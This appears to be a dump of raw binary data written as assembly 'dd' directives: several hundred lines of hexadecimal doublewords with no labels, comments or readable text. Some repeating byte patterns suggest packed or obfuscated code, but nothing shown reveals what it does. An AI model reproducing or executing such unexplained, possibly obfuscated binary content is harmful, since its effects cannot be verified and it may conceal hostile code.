dd 1E82A5D4h, 0B43AE619h, 17C9E917h, 2943CFCBh, 2Fh, 0A5196FEFh
dd 65A17B01h, 0A13E0836h, 1A80C674h, 0E9C316C9h, 854F7DACh
dd 0EC9006E8h, 85C2597Bh, 389DB256h, 57F41F5Eh, 3DCA29h
dd 6F0A0000h, 7B01A519h, 0C91A89CDh, 5A80C16h, 91BFEE2Bh
dd 22D6BC7h, 3F6D0AD4h, 2F424C7Bh, 41AAA3A3h, 7EAEF09Eh
dd 0BA3016C9h, 0C2CEF01Dh, 7BB25685h, 0DC3863A1h, 7C46749Bh
dd 0C26ED4DFh, 0D8B25588h, 753F6D9Ch, 3B1520D8h, 0DBA5D3FAh
dd 1AC48A38h, 54CA16C9h, 998BFDB7h, 5E8116CCh, 20538D17h
dd 3E67A37Dh, 0DCA6D4FFh, 936DD7Ah, 99C7EE2Fh, 124C32CFh
dd 0CCA6B1DFh, 3373218Dh, 0BB16CD9Bh, 4887E345h, 0EF47801Dh
dd 0E1BBDC7Fh, 814B79A0h, 9CC12AE4h, 9F151C36h, 68265582h
dd 2A1C183h, 6FF422BFh, 7B01A519h, 1AEAAC5Ah, 369B16C9h
dd 43739588h, 0AE4BC119h, 1CCAEBF6h, 16C9675Ah, 2351EE64h
dd 3366A17Bh, 4376B096h, 0C9D3019Fh, 43CFCB17h, 22FFEE1Dh
dd 0F8524A4Eh, 8E2B8DBCh, 1C6Dh, 196F3300h, 0CD7B01A5h
dd 16C91A89h, 7BFB9F15h, 5685C259h, 0CA379DB2h, 2Eh, 0A5196F0Ah
dd 0BFEA2802h, 648FCD91h, 6D0A6C36h, 89CD7B3Fh, 0C16C91Ah
dd 597B04A8h, 0B25685C2h, 3A67A17Bh, 0D49ECCFFh, 0DD7A4472h
dd 4C7B6CD2h, 7A648E81h, 0E7691A71h, 2F344682h, 97D1B754h
dd 0EA9E3664h, 0E216CCF1h, 0B4EEB6BFh, 0C504DE81h, 0FFA26C9Ah
dd 0CDF30D51h, 7E1B9116h, 84B7F1D7h, 77E73F56h, 4105B3D4h
dd 4D16CDF3h, 0E417BD7h, 4C7916E0h, 36C1E59Eh, 8EAB211Ch
dd 0A5196F60h, 0C2E4F001h, 0C7740688h, 218D7BC5h, 0D4011BBFh
dd 31029AA5h, 6F0C1F0Eh, 0CB17C941h, 482943CFh, 0EF000000h
dd 2A5196Fh, 90BEE928h, 315F92CCh, 3A680567h, 3467A17Bh
dd 0D8034206h, 0E17EE0AAh, 1A4006B4h, 0DE4E16C9h, 3D48769Dh
dd 0C91ACF8Fh, 0F759CF16h, 9ADA4346h, 79DBF73Dh, 0C2597BD5h
dd 9DB25685h, 32CA37h, 6F0A0000h, 7B01A519h, 0C91A89CDh
dd 0B9670C16h, 16C91AF5h, 5F8DB4F5h, 65C73D95h, 7B597BC1h
dd 1AEAAC5Ah, 7EF416C9h, 8FBEFBE1h, 62A17BEBh, 298F9A37h
dd 87224C7Bh, 0BDEB1E58h, 0F51342F3h, 74AE9431h, 0A4FC1341h
dd 4F709134h, 0C934DDA1h, 217A8816h, 47D305D3h, 22DC79EFh
dd 1C327451h, 89C2DF55h, 701EC131h, 19DAC234h, 0F1A48BEh
dd 2AC7FA35h, 34D70A44h, 51EE1D5Ah, 578AC4AAh, 10C09129h
dd 7D98184Ah, 20E8AE5Ch, 80F6174Bh, 0DDC7AEE3h, 6D5370A3h
dd 0ED20033h, 23FDA0D3h, 0BE88B6E9h, 0E856921h, 0D0033D67h
dd 6093CDB3h, 37632h, 0A1B60000h, 5B82C233h, 0FC2F692Dh
dd 0A0CB0ACEh, 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h
dd 0D2013E02h, 75A4E0A4h, 89568647h, 4C681E6h, 83000000h
dd 348704EEh, 2C895C24h, 52E46824h, 0C890000h, 0E1895124h
dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 397F6855h
dd 0D15D6527h, 25C581E5h, 893BA119h, 242C8BE9h, 4C481h
dd 8B540000h, 0C4812404h, 4, 79D268h, 240C8900h, 8B08408Fh
dd 89562404h, 4C681E6h, 81000000h, 4C6h, 24348700h, 2434FF5Ch
dd 4C48359h, 0F9EB4AE9h, 0F34E59FFh, 4877047Ah, 0CA72ACFh
dd 2DB8763Fh, 305EF94h, 37E0FFC5h, 1D5D6DF4h, 2A7B7863h
dd 0AD732F5Ah, 575F44DAh, 6610F77h, 523A1D8h, 8A320C8Eh
dd 804AFEA2h, 8D56BB17h, 0EF95D28Dh, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 506430B0h
dd 0F87EBE87h, 4CCA8040h, 26558D89h, 0C7F805E9h, 0E9080585h
dd 6F9805h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 9C156A14h, 6830044Dh, 0C7F5543Ah
dd 0E9163D85h, 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 546E8CF6h, 1CEEC6F8h
dd 0FFFBB70Fh, 0E92839B5h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0A5BE9C90h
dd 0EE8h, 0B30C7B00h, 0B35A4CFBh, 27622DE9h, 0FD12F87h
dd 685h, 21858900h, 5B05E92Bh, 0BC595FFh, 850B05E9h, 5E926F9h
dd 95FF006Ah, 5E91E95h, 7CEBC08Bh, 0A911ABD7h, 4687E86Ah
dd 2CDC8D5Ch, 0C83AA411h, 562B9CCBh, 5F3EB7D2h, 0B5B9AFCh
dd 5B981C6Bh, 6213BFB1h, 1EB9A71Dh, 4A02587Eh, 8BDD6C00h
dd 0AF0E626Ah, 1EC0128Fh, 86EC89E7h
dd 10B81F42h, 7CC1F0A0h, 0F5561425h, 0F8051CE6h, 6E0BEB1h
dd 254FC7C8h, 0A87921C5h, 0ED976B14h, 6D8D9DAh, 6FF40570h
dd 738149FDh, 4D5212E1h, 74FF946Ah, 9A7C204Eh, 0F737F8DBh
dd 6B01B372h, 11E8h, 0F3FC0600h, 146CE9C0h, 0A2F06B9Fh
dd 8649A834h, 0B6B044C5h, 6860F5Eh, 23000000h, 0E92AC98Dh
dd 35C68105h, 0B600005Ah, 0A4F6BF47h, 0F781098Dh, 98DB2A9h
dd 36FFCF8Bh, 0AE9h, 0F5974300h, 944B4F6Dh, 5B0A6DBEh
dd 3598D31h, 0EB8105E9h, 0C73D563h, 1E658D8Bh, 0F38105E9h
dd 4961DF5Dh, 19B58501h, 0C38105E9h, 11D5E7D7h, 89C28B66h
dd 0ED8D011Eh, 8105E90Dh, 9875DBEEh, 3C2814Bh, 8163B8EAh
dd 9875D7C6h, 8B66604Bh, 4F61F9F2h, 14850Fh, 85B80000h
dd 0E94BCF52h, 1Eh, 31A16BFEh, 34B337D4h, 8E0F697Bh, 3
dd 0E9CFB70Fh, 0FFFFFF7Eh, 3334212h, 8D8DEE2Ch, 5EF97B6h
dd 502EE081h, 8D892BE2h, 5E92655h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0B8C35646h, 0E8C593E2h, 12h
dd 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h, 8B66A1A8h
dd 81665FFEh, 0C7BCC9EBh, 0E9080585h, 5EA005h, 96D28100h
dd 0C771DC2Fh, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0BDB5FFDFh
dd 0F505E904h, 0BC595FFh, 858905E9h, 5E90561h, 95FF006Ah
dd 5E91E95h, 69EBC08Bh, 351CF66Bh, 11E8C4AAh, 0ED2268C8h
dd 253A3B77h, 0C7553C42h, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch
dd 8FB03FF6h, 0F1A3AC0Dh, 7E5B7F58h, 5D6F5473h, 2AC9250Bh
dd 6BC9C491h, 840491EAh, 0FE47CFFBh, 0EC9E1995h, 84EC472Dh
dd 3BBF49A3h, 91671DA2h, 307695Fh, 2AB32DA0h, 0F322BE63h
dd 9101192Eh, 3D7FEAD1h, 0F61C49EEh, 0AE8CFh, 0B7590000h
dd 0BB80666Fh, 758B56B2h, 5BF9B70Fh, 6765BF66h, 5BC6C381h
dd 0AE80000h, 5D000000h, 2A605B39h, 80F677F2h, 0CBBE5FABh
dd 0E9000016h, 0Ch, 20C1EC32h, 0E0CB8CE9h, 3509004Dh, 0DA81038Bh
dd 13609184h, 251AE881h, 0FB8B42ABh, 7532E881h, 870F3999h
dd 3, 81D18B66h, 0B9BE31E8h, 9E95Eh, 242E0000h, 6B0D1C6Eh
dd 5050160Eh, 123D8D03h, 38F05E9h, 4850Fh, 0BF660000h
dd 0EB83A9FBh, 9D895604h, 5E92A79h, 1EE835Fh, 0FFA6850Fh
dd 0B531FFFFh, 5E9114Dh, 99A58D8Dh, 6A05EFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B56C3h
dd 5E92CFDh, 26558D89h, 9D8905E9h, 5E92759h, 0EE7C50BAh
dd 585C746h, 9005E908h, 6A000059h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6D81C351h
dd 0B80C1223h, 11496DF7h, 30CADB81h, 8D894A77h, 5E92EA9h
dd 163D85C7h, 5E9h, 0AE80000h, 1C000000h, 8A5A4D42h, 701E336Fh
dd 95015A0Dh, 5E930E5h, 3F5B5FFh, 0F28005E9h, 0C595FF82h
dd 6A05E90Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0C8BCC356h, 8DD50B2Dh, 0E97889BBh
dd 0Bh, 911DBCB1h, 961D0BD5h, 6A24502Bh, 9595FF00h, 8B05E91Eh
dd 0A20DEBC0h, 0F8A7A677h, 0B4326F23h, 0B9C348CBh, 9AD08D8Dh
dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 3280A7C3h, 0F5214CFh, 682h, 0F9958900h, 5F05E904h
dd 26558D89h, 9E905E9h, 0A0000000h, 5E0DE1B4h, 12156801h
dd 173D9D89h, 85C705E9h, 5E90805h, 7250h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DDC35646h, 0D99A4A1Ch
dd 0C7CB3C18h, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0A8E99B3h
dd 10E90Ch, 0AE130000h, 3F062128h, 178F5A80h, 1291F050h
dd 8166FF22h, 0FFA092EEh, 0E9326DB5h, 50006A05h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0F8BF0FC3h, 0BC595FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 5C8B6FC3h, 0DE80B640h
dd 0E08166F7h, 6A5DFDh, 1E9595FFh, 0C08B05E9h, 49E549EBh
dd 0F271A19h, 5BB442EDh, 0D82379Dh, 4F03D01h, 0D76BD4B5h
dd 0B41C6792h, 87E3F30Dh, 48A94F9Bh, 96A85B41h, 0FAD9DC88h
dd 64EC2771h, 8DD3329Ch, 6C969D9h, 68AF9117h, 21AF0083h
dd 0EB95E0C3h, 99820BC4h, 0E824469Fh, 0Bh, 7CFC6952h, 0C0E93CD6h
dd 0F64844Fh, 895FC0BFh, 0E9243995h, 51C78105h, 8B000065h
dd 0E9077D85h, 192BB905h, 0BA660000h, 1F8B754Dh, 6558D89h
dd 0F38105E9h, 14EE810Eh, 2571BD89h, 0C38105E9h, 22625CFFh
dd 0EC381FCh, 607099D8h, 28B99D89h, 0BA6005E9h, 6E9AE113h
dd 0C3B1BB66h, 1F896161h, 0B5E68166h, 1EF83DCh, 0AE8h
dd 0E12B8D00h, 0BBCB65DAh, 8B3B535Fh, 0E92C1D85h, 4F4F5A05h
dd 0C8BE534Fh, 5A202D7Bh, 1E981h, 850F0000h, 0FFFFFF96h
dd 0AE8h, 0E1D66B00h, 595F011Fh, 0BA80C8B9h, 3D436A02h
dd 908D8D5Eh, 6A05EF9Ch, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 151BC350h, 1F519589h
dd 8D8905E9h, 5E92655h, 80585C7h, 641405E9h, 0BD890000h
dd 5E90D29h, 163D85C7h, 5E9h, 11E90000h, 0A1000000h, 10D1F7ACh
dd 7B3C2883h, 0CD4E8B91h, 0BF1F1FBFh, 321DB5FFh, 6A05E9h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 91B0C1C3h, 0A1D80A52h, 0BC595FFh, 6A05E9h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F2D389C3h
dd 34426D66h, 66609A88h, 8BBD42B9h, 0E92EA585h, 6A6105h
dd 1E9595FFh, 0C08B05E9h, 0C3660EEBh, 0A705F5BFh, 0FEEAF651h
dd 0FF7DE742h, 9D4C8D8Dh, 895105EFh, 0E9054195h, 8B665F05h
dd 558D89D9h, 305E926h, 0E91D999Dh, 585C705h, 6405E908h
dd 0F000073h, 583h, 0D6816600h, 85C70BF0h, 5E9163Dh, 0
dd 13F28166h, 6850F2Ch, 29000000h, 0E902899Dh, 55B5FF05h
dd 6A05E923h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 0AAE5C352h, 0C595FFD4h, 6A05E90Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 2B52C357h, 0F62EA6FCh, 0F08B919h, 0BE66DEBFh
dd 6A6A17h, 1E9595FFh, 0C08B05E9h, 2ACF5AEBh, 763F0CA7h
dd 2E88482Ah, 0B1A956E0h, 5E67F41Dh, 0EF4A5B7Bh, 5CED99A0h
dd 84D35BC2h, 0B4D13398h, 3BC974A0h, 0BD67A944h, 6B90E018h
dd 53FC66A3h, 0B003F86h, 664EE9Eh, 7DA98A44h, 4D7E0D01h
dd 0C208153Eh, 80BA764Fh, 4DCD444Fh, 0BD91B50Bh, 674C1612h
dd 3CFD0866h, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh
dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h
dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h
dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh
dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h
dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h
dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh
dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h
dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 8F32139h
dd 13FEE9h, 0A0716800h, 8CE905EFh, 68FFF9E1h, 5EFA199h
dd 0F9E182E9h, 0A25368FFh, 78E905EFh, 68FFF9E1h, 5EFA392h
dd 0F9E16EE9h, 0A43668FFh, 64E905EFh, 68FFF9E1h, 5EFA50Bh
dd 0F9E15AE9h, 0A5CB68FFh, 50E905EFh, 68FFF9E1h, 5EFA699h
dd 0F9E146E9h, 0A73C68FFh, 3CE905EFh, 68FFF9E1h, 5EFA893h
dd 0F9E132E9h, 0A97368FFh, 28E905EFh, 68FFF9E1h, 5EFAB16h
dd 0F9E11EE9h, 0ACC368FFh, 14E905EFh, 68FFF9E1h, 5EFAEF6h
dd 0F9E10AE9h, 0AFEC68FFh, 0E905EFh, 0CCFFF9E1h, 6248658Ch
dd 0F4DAF726h, 856B88B7h, 14FA174Ah, 8A8EABD6h, 0F9246258h
dd 8EB5F6DCh, 214C8B71h, 0B1E41E04h, 38E6C794h, 13268476h
dd 0C2411F78h, 63275588h, 5F8BA729h, 0F7E51922h, 0E73F7895h
dd 0AD0F427Dh, 6DD35C0Ah, 0E1101C32h, 0F02D3749h, 18C993C1h
dd 0DAA59E2h, 0EF87B52Bh, 132089D3h, 0B9F28324h, 45264017h
dd 0B5E823FDh, 75F718h, 8FBE0000h, 0AEDB5570h, 214FEC03h
dd 4A7176Fh, 62BEED2Ah, 0CAF823h, 3B153663h, 0D59FCD00h
dd 29657E38h, 27561C32h, 8DCC0B24h, 0B96A3462h, 801DC17Fh
dd 62FA289Eh, 13205960h, 48F666A2h, 13205906h, 82B01288h
dd 621084BEh, 1320591Ch, 9CCA2CA2h, 6A3441B8h, 54906A03h
dd 5DBFEE2Bh, 6BFD162Fh, 7AC554Ch, 0A2D308A5h, 26304709h
dd 0D25945h, 0C21F0000h, 479D0688h, 9B0A4CFAh, 1E9416C9h
dd 0C92C626Dh, 16DC4C0Dh, 82E4464Bh, 27529054h, 0B56C5584h
dd 96C4F330h, 0F3F81BCCh, 8145FD9Ah, 22E61447h, 6B98B5E8h
dd 39E75391h, 16C95F75h, 73A10379h, 0B9520CA9h, 0F916C952h
dd 896F8CBFh, 0B7E6224Fh, 0BA5DBF89h, 4977A2E0h, 132AE27Fh
dd 0E51451BBh, 0E88BEDB7h, 31B1813Ah, 425FD51Ch, 9E41B109h
dd 0C6F7EEF0h, 0BAB7019h, 0D4C79A02h, 0B6903395h, 4A304D78h
dd 62B0E10Ch, 0F16F7216h, 112B3DF9h, 11510000h, 0ABE7CDEAh
dd 3C795F7Ch, 0CF0AF00Dh, 5B997F9Ch, 0D30F1330h, 617EA9E7h
dd 0F6133A7Bh, 89A6D110h, 193669A3h, 0F9BD6B4Ch, 51326BAh
dd 84C2CEACh, 350F3C59h, 482ECBF6h, 90BEDB0Eh, 3467A17Bh
dd 669F3C06h, 4DFB9E0Eh, 1C322954h, 0D3518D67h, 5453CBE0h
dd 6694F6A2h, 0A71DFF9Ch, 0C8E92A04h, 5DFA5C8Bh, 0FF350DA5h
dd 0A1421320h, 3209D7D4h, 0F9274526h, 0ED000000h, 0DECA4C7Bh
dd 23B7B29h, 4DC316C9h, 0E42E309Ch, 0F4276147h, 47042251h
dd 1345A495h, 7CF7A684h, 1FBC1E12h, 44825C67h, 58967C19h
dd 9267FF2Dh, 9916C95Bh, 5584CA78h, 940A16C9h, 0A4D711F7h
dd 0BFE62701h, 832AC791h, 0C7873556h, 0C716C955h, 8DB4F551h
dd 12F8955Fh, 6C77A5D8h, 89265592h, 0E588F850h, 555016C4h
dd 0E85E16C9h, 0DB701E4Bh, 0D01C31B8h, 76BD01AFh, 0CB411320h
dd 0A0DC4C2Eh, 17794371h, 0F969C1FAh, 0E915A856h, 0E75D19C6h
dd 0E492344h, 4977A2E1h, 9A801D7Fh, 2E14315Ch, 4C94C5F0h
dd 1B6F718Fh, 10036723h, 0E9290000h, 83BFA5C2h, 14513754h
dd 0A7E2C8E5h, 33715774h, 0FBE7EB08h, 395681BFh, 0CEEB1253h
dd 617EA9E8h, 0F10E417Bh, 0D1954324h, 0DD1326BBh, 84C2A684h
dd 0EE0F3C59h, 0C91A7E40h, 6D0A8016h, 771A4D87h, 7355C9Dh
dd 0CBF9A03Dh, 275588C2h, 0D9F62963h, 6497D2ACh, 75A4E1C7h
dd 16498347h, 0B7F2CCF9h, 1C3E784h, 57FA6AC2h, 321C44A9h
dd 0E5148A1Ch, 0A607724Fh, 75E53D6Bh, 134F24D2h, 2197EE51h
dd 3C63A47Eh, 0EFA7440Eh, 0A2C90AE4h, 474CC05h, 71DCB361h
dd 0B026EBBFh, 77F9330Dh, 0DD828CCBh, 194081A9h, 5DBF21EBh
dd 0ED205A40h, 0E0162BCh, 3DF9F17Dh, 0F49h, 0EB082F6Fh
dd 7D9AC905h, 0E2B5A97h, 9DBAED28h, 314E79B7h, 0BFFDB52Dh
dd 50917794h, 0E7260C29h, 7FB99FBCh, 81622F4Ch, 26B893D3h
dd 0E4C21B13h, 820688C2h, 243DDB30h, 0B8CFFD5Fh, 9F4DF060h
dd 1C310EBEh, 48A13B00h, 0DD8D3F24h, 0CD255E7Bh, 0A70CBA5Dh
dd 0FF19DB1Ch, 76505B89h, 18DC0A39h, 0B680AED9h, 5C5CA354h
dd 0A444F6EFh, 0A8754D07h, 0E18216C9h, 65491794h, 626740CFh
dd 2E000000h, 0FC8F51FFh, 0C360123Ch, 0A7176F95h, 5C395604h
dd 0B3A1C32h, 0CFF9FEAAh, 98DE8C96h, 26132005h, 0CFB14EB0h
dd 9DDCB659h, 7285572h, 20051559h, 80239913h, 20058CD2h
dd 0FF9C1213h, 20050345h, 0D5498313h, 20056727h, 8FF16713h
dd 2E6B4572h, 0D30DD1FFh, 0BBA13EA0h, 6723517Ch, 0E69h
dd 0A7176FA7h, 0ABDF5604h, 0ED631C33h, 336704Ah, 93C600E6h
dd 8B395A65h, 132684CBh, 3AC5DD3h, 0F2B4A21Ah, 267EB754h
dd 0CD6513B6h, 1919DCE9h, 0EC2600A3h, 7CB69CB9h, 90CCA649h
dd 0CC693361h, 35A5FD14h, 0C56FE492h, 32F71C32h, 0C75FD9EEh
dd 2339534h, 698AE4AEh, 0AEDA9A1h, 3000000Eh, 0C6ACC9F0h
dd 583E5B8Ah, 0E9CFEC1Bh, 785E7BAEh, 0EEF20F3Ah, 5580BEF4h
dd 0EA115238h, 7DA8E7CDh, 0D407A60h, 944223F0h, 1326B9D2h
dd 0EEA583DCh, 16C91AD4h, 0A3CE0DE7h, 0B75CD06h, 98A4ED0h
dd 0E75F8563h, 5F802385h, 0EF1D4485h, 7CCE8825h, 0BA1C3335h
dd 550FE6F5h, 142161Eh, 80E2ACDAh, 0FB6F2FDDh, 0F96F1326h
dd 0E01AF497h, 70AA90ADh, 956B9A3Dh, 8975B830h, 0ABC27A17h
dd 6640E353h, 9BC60425h, 4E6F9C39h, 9E0C2F1Fh, 7C193243h
dd 0DE029DC2h, 3A6BE119h, 6F6D9994h, 661FDBD3h, 8C00000Dh
dd 2208254Ch, 0B49AB7E6h, 452B4877h, 0D4BAD70Ah, 4A4E6B96h
dd 0B9E42298h, 4E75B69Ch, 0E10C4B31h, 71A4DEC4h, 0F8A68754h
dd 1326BEB6h, 7B01DF38h, 0F93A67A1h, 78DAA4D2h, 0FDE3804Ah
dd 9E6290C3h, 3F033164h, 0E2A6D403h, 824674A7h, 0B8071746h
dd 0A2B9E1BDh, 1A93D381h, 0A51B16C9h, 0BBA2D308h, 0D774A7E1h
dd 0CFD328F8h, 7354840h, 6F0E0000h, 0E304A717h, 6AA4CD09h
dd 0DD3F0937h, 0AD818640h, 178D1C33h, 0A5BC4574h, 0F82B5A8Bh
dd 330D2E5Bh, 482ECBF2h, 91BEDB0Eh, 0AC497CB7h, 2B598CC6h
dd 2677AF93h, 0DD5D8C13h
dd 0CA8C3A4Bh, 0D41326D7h, 4ABCAD5Eh, 0BF146C0Bh, 33955687h
dd 95055D96h, 2E6344F2h, 35AB19DEh, 6D6D4404h, 0FFBBB36Fh
dd 0C91h, 335077B7h, 0C5E2114Dh, 5673A2DFh, 0E5023570h
dd 7996C1FFh, 7456D75h, 98D9BFDCh, 2F6E5471h, 0C701E704h
dd 0C9AA7794h, 26BF5B1Bh, 2C0A6313h, 0EAAC5A7Bh, 0F416C91Ah
dd 0C1FBE17Eh, 3DEB5394h, 16C91A79h, 7FAD0F85h, 612553B5h
dd 4105B327h, 4D16C91Ah, 0F8D275D7h, 37EF8CBBh, 70ED88A7h
dd 1CC2CD41h, 8320E07Ch, 0CF82FCA4h, 65DF440h, 0EEBA0000h
dd 16C91AD4h, 701383DBh, 902D5896h, 0ACF0B563h, 39FE1C33h
dd 33F4E555h, 4CEF51C4h, 0E514512Bh, 0F5286248h, 577CABD8h
dd 7E9BF6DEh, 447E6401h, 4AACDB17h, 3DAD051Ch, 45CBEC9Ah
dd 9D1319DEh, 6DD2BA6Ch, 6521196Fh, 0BD1h, 7390B7F7h, 522518Dh
dd 96B3E21Fh, 254275B0h, 0B9D6013Fh, 47852DB5h, 0D819FF1Ch
dd 6FAE94B1h, 7412744h, 9EAB7D4h, 26BF1B5Bh, 6C4AA313h
dd 661488C2h, 16C91A20h, 0A8D638AEh, 5C36AAE4h, 0FEC0F01Fh
dd 16C91Ah, 36FA288Ah, 0D69AC8FBh, 0C73F6D98h, 79A1FD78h
dd 0C0901B5Ah, 0E040CFD3h, 5ABh, 66176FA6h, 0C91AF6B8h
dd 0A033F816h, 0BEA51345h, 0A30567h, 4E10BEDFh, 4C16C960h
dd 0EAB4E20Dh, 0C57F1C92h, 1C33D69Bh, 2C06A91Fh, 0BCA2BFF2h
dd 0C9F80082h, 103E6DAAh, 192B9546h, 12EC8FF1h, 0F5B967D3h
dd 0F91326CDh, 29F32183h, 63CD48Ch, 291326CDh, 10BE61D1h
dd 19DE2B2Fh, 3CC8F96Fh, 836F6D70h, 0B03CF8Bh, 0E9290000h
dd 83BFA5C2h, 14513754h, 0A7E2C8E5h, 33715774h, 0FBE7EB08h
dd 395681BFh, 0CEEB1253h, 617EA9E8h, 0F10E417Bh, 0D1954324h
dd 0DD1326BCh, 88C2A684h, 29632755h, 2C8EC1FCh, 4372AF89h
dd 3F5EEEA6h, 0D3AB7536h, 0F4C540CFh, 8B000004h, 0C91AA9EEh
dd 1686DE16h, 0AD36C573h, 2311C33h, 0C3A50E54h, 2A0CA9F8h
dd 0C1F011B4h, 49F7A61Ah, 13261A05h, 26621389h, 0C3A9466Ah
dd 53395689h, 0A1B8E619h, 8836D949h, 19DDB547h, 6A9DD747h
dd 0BD5519C7h, 0E35916CFh, 0C2B25081h, 29216F6Dh, 0A606Dh
dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h
dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h
dd 0BDA4EA98h, 0D12A1326h, 5588C2F3h, 0F6296327h, 0FC79D8C8h
dd 1E3B6EA8h, 0ABDA17F1h, 0D7612F0Eh, 867F40CFh, 46000001h
dd 6401306Ch, 5588C236h, 0F6296327h, 96D2ACD9h, 0D402316Dh
dd 0B07AA80Ah, 0D182DA13h, 0C91A6323h, 93F56B16h, 23B542F0h
dd 43B91C32h, 5D88C6A0h, 14C2652Fh, 13200C52h, 9149E65Ch
dd 200CC9F9h, 0E88D2E13h, 26C51DC3h, 2E1345h, 7BD90000h
dd 8A34BB4Ch, 0E68336D5h, 42E555ADh, 322B8F94h, 5381F71Ch
dd 5306E48h, 994AE68h, 42E31320h, 0C4A87833h, 0E8C84526h
dd 8E000000h, 3A1488C2h, 0DAA4D2F9h, 0C91AE4AAh, 1274EA16h
dd 0C0FFD9E4h, 0FF2D609Bh, 5036D335h, 0F5B9E712h, 0B6E588BBh
dd 97448C5h, 0F02F8BEFh, 0AC7028C5h, 0F5223F72h, 326026D4h
dd 752316C9h, 16C93231h, 79EF47BDh, 0D75922DCh, 1F5916C8h
dd 9543B7F2h, 16C919D1h, 0D70567DDh, 0E708AB0Dh, 70A0D30Dh
dd 16C9192Eh, 0D20540B0h, 0DB78DAA4h, 33A3FB34h, 87F1E290h
dd 0BF351C2Fh, 0D904421Ch, 6D98D6BCh, 88B4A43Ch, 0EFABA369h
dd 909h, 0ABC8EF2Fh, 3D5A89C5h, 0CEEB1A57h, 5D7AADE8h
dd 0F10E3977h, 7FBDF5EDh, 10513754h, 0A7E6CCE9h, 3F795F7Ch
dd 4122EF0Ch, 26B2D393h, 0A482DB13h, 3C5984C2h, 0C8FB350Fh
dd 0D4022D6Ch, 4D876D0Ah, 0B52756CBh, 0E596D8F0h, 6E8619B7h
dd 8FAC0E58h, 0D3934162h, 0DB16C98Ch, 0C29AC865h, 83B25588h
dd 74FCB5A9h, 0C5F02EEAh, 0CE6BCD97h, 0EB185216h, 1B4684B1h
dd 5C3A57B9h, 2CBh, 0A7176F9Ch, 31D55604h, 0EB611C32h
dd 21D25BDh, 0C15A1320h, 0E17EA9E7h, 3EE2C9ACh, 324526CFh
dd 26Eh, 1AAFEEF8h, 84DC16C9h, 3AC37114h, 841C33ADh, 875F1FCDh
dd 0E95F1326h, 0D00AE487h, 609A809Dh, 1AF4FF2Dh, 0B680AEDDh
dd 1888E019h, 8B06C775h, 128819DDh, 6DCFF7E1h, 924E466Fh
dd 829h, 0CBE80F4Fh, 5D7AA9E5h, 0EE0B3A77h, 7D9ACD08h
dd 112E5997h, 9FDDD50Dh, 30715774h, 0C706EC09h, 5F997F9Ch
dd 61420F2Ch, 26B3F3B3h, 0C4A2FB13h, 0B25588C2h, 0D16E99D8h
dd 0F6340E19h, 0E482ECBh, 0AFE9ADDBh, 1AC98D3Bh, 5FD516C9h
dd 0CC0BCFFDh, 0ACFB73A1h, 0EE4DD5C9h, 94B5D687h, 0C91AA0E6h
dd 88B82E16h, 16C91AC6h, 0CFB552C8h, 0FB2E6895h, 0F39D7C99h
dd 0ED40CFD7h, 1B2h, 5588C2B3h, 0A3E391B2h, 2B16C91Ah
dd 556018B5h, 0E8F80534h, 3D2B1F4Fh, 0C97E490Dh, 42DF5516h
dd 0C5A0225Ch, 7C33486Eh, 3354F759h, 0C9AFC185h, 0BA57CD16h
dd 1282DA13h, 9634C16Fh, 0C43A1C32h, 0B9C4FE96h, 9A331320h
dd 0B75483C0h, 906AF382h, 0A7862356h, 452670F9h, 0A9D011EBh
dd 0F314B17Bh, 4Ch, 0A7176FB9h, 0CB09E304h, 0BA872A0h
dd 32295051h, 53916B1Ch, 7F30FA28h, 9FB0FC9Dh, 0FEE07DD4h
dd 0A3C4E588h, 204EB1F5h, 97C73D13h, 13204ED7h, 0CC461D7h
